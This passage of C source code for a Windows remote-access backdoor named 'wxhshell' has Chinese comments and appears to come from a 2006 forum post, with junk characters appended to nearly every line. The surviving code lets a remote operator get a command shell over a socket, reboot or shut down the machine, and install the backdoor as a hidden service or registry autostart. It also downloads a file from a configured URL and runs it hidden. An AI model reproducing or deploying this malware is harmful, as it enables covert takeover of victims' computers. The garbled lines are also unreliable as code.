  case '?': { /hksESiU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _zF*S]9 X  
    break; Pt^SlX^MM  
  } zEN3N n.8  
  // 安装 y)]L>o~  
  case 'i': { 7v{s?h->$  
    if(Install()) \;F_QV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Z:'jV<  
    else o b,%); m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D/x!`&.sN  
    break; O\&[|sGY{  
    } _oBJ'8R\  
  // 卸载 \Uh$%#}.  
  case 'r': { GO<,zOqvU  
    if(Uninstall()) ~;uc@GGo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m2h@*  
    else *%;+3SV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RwyRPc _  
    break; l:$i}.C  
    } MeMSF8zSQ  
  // 显示 wxhshell 所在路径 NPY\ >pf  
  case 'p': { f&ri=VJY\T  
    char svExeFile[MAX_PATH]; U2TR>0l  
    strcpy(svExeFile,"\n\r"); (m%A>e B  
      strcat(svExeFile,ExeFile); k3 S  
        send(wsh,svExeFile,strlen(svExeFile),0); I2G:jMPy  
    break; 4te QG  
    } ] lONi  
  // 重启 e|2@z-Sp-  
  case 'b': { RP|/rd]-k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XjINRC8^4  
    if(Boot(REBOOT)) rD":Gac  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Mx\W|YK  
    else { !gbPxfH:6  
    closesocket(wsh); qOM"?av  
    ExitThread(0); GX-V|hLaGX  
    } oTLA&dy@  
    break; .m/$ku{/J  
    } `j)S7KN  
  // 关机 #ssSs]zl  
  case 'd': { jS<(O o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %f'mW2  
    if(Boot(SHUTDOWN)) (]gd$BgD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :+*q,lX8  
    else { TVs#,  
    closesocket(wsh); 3I):W9$Qp  
    ExitThread(0); T_3JAH e  
    } XMpa87\  
    break; & c V$`L  
    } , tb\^  
  // 获取shell t'{IE!_  
  case 's': { "`q:  
    CmdShell(wsh); g+1&liV  
    closesocket(wsh); ~>-MVp  
    ExitThread(0); *JT,]7>  
    break; Y5,[udF:O  
  } ":!7R<t  
  // 退出 NcMohpkq  
  case 'x': { vj,OX~|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AAW])c`.  
    CloseIt(wsh); /|MHZ$Y9w?  
    break; LfsqtQ=J`  
    } mtd ,m  
  // 离开 =R6IW,*  
  case 'q': { IMcuoQ5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R&MdwTa  
    closesocket(wsh); 56`Tna,t  
    WSACleanup(); rK@XC +`S  
    exit(1); Vz @2_k   
    break; vmsrypm  
        } n> tru L  
  } [~&yLccN  
  } ~OSgpM#O!T  
1=U NA :t<  
  // 提示信息 68 \73L=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hI>vz"J  
} d.3cd40Q  
  } @]F1J  
cN 3 !wE  
  return; CyXFuk!R  
} 5x?YFq6k  
/?*GJN#  
// shell模块句柄 dYxX%"J  
int CmdShell(SOCKET sock) bo|3sN+D  
{ w]O [{3"  
STARTUPINFO si; 1Xn:B_pP  
ZeroMemory(&si,sizeof(si)); UI%Z`.&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $s]vZ(H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZULnS*V;5  
PROCESS_INFORMATION ProcessInfo; iO@UzD #v  
char cmdline[]="cmd"; ic;M=dsh:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OC=g 1  
  return 0; zN3b`K. i  
}  ,7h0y  
"zZ Z h  
// 自身启动模式 bGtS! 'I  
int StartFromService(void) 6Q*Zy[=  
{ *YO^+]nmY  
typedef struct sD ,=_q@  
{ -\[H>)z]RB  
  DWORD ExitStatus; Kg6[  
  DWORD PebBaseAddress; e%_J O7  
  DWORD AffinityMask; OaeX:r+&Q  
  DWORD BasePriority; AEd]nVV Q  
  ULONG UniqueProcessId; *hvC0U@3  
  ULONG InheritedFromUniqueProcessId; F?+\J =LT  
}   PROCESS_BASIC_INFORMATION; i@m@]-2  
H ]z83:Z  
PROCNTQSIP NtQueryInformationProcess; "K c/Cs2[  
3ZUME\U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q,m+W='  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lx\9Y8  
q5xF~SQGw2  
  HANDLE             hProcess; LE}V{%)xD  
  PROCESS_BASIC_INFORMATION pbi; h<<uef9  
'4ip~>3?w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .L@gq/x)  
  if(NULL == hInst ) return 0; #1De#uZ  
1Eh6ti  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y?v{V>;*A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MSaOFv_Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pv]2"|]V)  
'W*:9wah  
  if (!NtQueryInformationProcess) return 0; l0w<NZ F  
^_gH}~l+U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e);`hNLih  
  if(!hProcess) return 0; Z^!% b  
"IN[(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qg]+&8!*  
+3F%soum95  
  CloseHandle(hProcess); =1Hn<Xay0  
\2))c@@%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \,S4-~(:!  
if(hProcess==NULL) return 0; /b7]NC%  
92x)Pc^D  
HMODULE hMod; ]?%S0DO*  
char procName[255]; g{^~g  
unsigned long cbNeeded; ,GF]+nI89  
b4&l=^:e=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tj4/x7!  
0[])wl  
  CloseHandle(hProcess); V+5av Z}  
v`@M IOv  
if(strstr(procName,"services")) return 1; // 以服务启动 %uw7sGz\  
&WNIL13DK  
  return 0; // 注册表启动 fE"-W{M  
} sBk|KG  
7 !dj&?  
// 主模块 m6uFmU*<M}  
int StartWxhshell(LPSTR lpCmdLine) *#9?9SYSk  
{ UC_o;  
  SOCKET wsl; Ggry,3X3  
BOOL val=TRUE; =P%?{7  
  int port=0; ;pj,U!{%s\  
  struct sockaddr_in door; GTM@9^  
0`V;;w8  
  if(wscfg.ws_autoins) Install(); 2m^qXE$  
z HT#bP:o  
port=atoi(lpCmdLine); #/> a`Ur_  
wk#cJ`wG;  
if(port<=0) port=wscfg.ws_port; y* :C~  
U@9v(TfV  
  WSADATA data; &F:%y(;{Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <JIqkGeAi  
$R%tD.d3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6of9lO:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S!rVq,| d  
  door.sin_family = AF_INET; ,BFw-A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sJ{r+wY  
  door.sin_port = htons(port); 8<Pi}RH  
~b @"ir+g4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z((e-T#,  
closesocket(wsl); 5"y)<VLJX  
return 1; A4g,)  
} gO{$p q}  
cJf&R^[T  
  if(listen(wsl,2) == INVALID_SOCKET) { )t((x  
closesocket(wsl); l9e=dV:pH  
return 1;  W_6gV  
} M@JW/~p'  
  Wxhshell(wsl); *{,}pK2*  
  WSACleanup(); *R}p9;dpO  
x2TE[#><  
return 0; d3\KUR^  
2}XxRJ0   
} +IMt$}7[  
Jd~Mq9(  
// 以NT服务方式启动 M3Qi]jO98  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9oIfSr,y  
{ fw VI%0C@  
DWORD   status = 0; MV w.Fl  
  DWORD   specificError = 0xfffffff; ?9%$g?3Z  
?gBFfi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1_TniR3z1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %g^:0me`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )3R5cq  
  serviceStatus.dwWin32ExitCode     = 0; \GV'{W+o2  
  serviceStatus.dwServiceSpecificExitCode = 0; re,}}'  
  serviceStatus.dwCheckPoint       = 0; xs )jO+.  
  serviceStatus.dwWaitHint       = 0; JP(0/?Q  
:wEy""*N0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r&ys?@+G  
  if (hServiceStatusHandle==0) return; ;VEKrVD  
7{l~\] 6d  
status = GetLastError(); R T~oJ~t;  
  if (status!=NO_ERROR) pFV~1W:  
{ ?o`:V|<v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oIQ$98M  
    serviceStatus.dwCheckPoint       = 0; F(ZczwvR  
    serviceStatus.dwWaitHint       = 0; .|Yn[?(  
    serviceStatus.dwWin32ExitCode     = status; G*,7pc  
    serviceStatus.dwServiceSpecificExitCode = specificError; u%6b|M@P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `~_H\_JpO  
    return; :`lP+y?a1  
  } }: u-l3e  
?G<?: /CU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B&BL<X r  
  serviceStatus.dwCheckPoint       = 0; rVRv*W  
  serviceStatus.dwWaitHint       = 0;  D F=Rd#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gX$gUB) x  
} ms\\R@R  
6!USSipn  
// 处理NT服务事件,比如:启动、停止 gzy|K%K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]vPdj"7  
{ $pt~?ZZ3-  
switch(fdwControl) %mD{rG9  
{ Gd'_X D  
case SERVICE_CONTROL_STOP: K r<UPr  
  serviceStatus.dwWin32ExitCode = 0; us8HXvvp{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d{7)_Sbky  
  serviceStatus.dwCheckPoint   = 0; +WKN&@  
  serviceStatus.dwWaitHint     = 0; KfPgj  
  { y&eU\>M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UR S=1+  
  } rQ6>*0xL_  
  return; kBnb9'.A1  
case SERVICE_CONTROL_PAUSE: Rlm28  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HuK Ob4g  
  break; +F%tBUY{<  
case SERVICE_CONTROL_CONTINUE: Ct zW do.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .JJ50p  
  break; "zzb`T[8  
case SERVICE_CONTROL_INTERROGATE: F~hH>BH9  
  break; pSEaE9AX%  
}; SSyARR+;c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sTep2W.9  
} ;j[:tt\k  
5R%y3::$S  
// 标准应用程序主函数 +EqL|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0%Y}CDn_  
{ }f% Qk0^  
[d-Y1  
// 获取操作系统版本 _meW9)B  
OsIsNt=GetOsVer(); :7JP(j2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z c#Jb  
M _lLP8W}  
  // 从命令行安装 D~|q^Ms,%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5*Qzw[[=  
Y7 K2@257  
  // 下载执行文件 E1`_[=8a9  
if(wscfg.ws_downexe) { R~|(]#com  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ${}9/(x/^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2- (}=N  
}  B@*!>R  
-v|lM8  
if(!OsIsNt) { k,; (`L  
// 如果时win9x,隐藏进程并且设置为注册表启动 *J >6i2M,u  
HideProc(); <OJqeUo+*\  
StartWxhshell(lpCmdLine); $!_}d  
} yD`pUE$  
else <^'IC9D]  
  if(StartFromService()) !R#PJH/TM  
  // 以服务方式启动 L/%{,7l<^?  
  StartServiceCtrlDispatcher(DispatchTable); ?YDMl  
else =W2I0nr.  
  // 普通方式启动 O*x~a;?G  
  StartWxhshell(lpCmdLine); + Okw+v  
#`l&HV   
return 0; I3izLi  
}
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只看该作者 1 发表于: 2006-10-10
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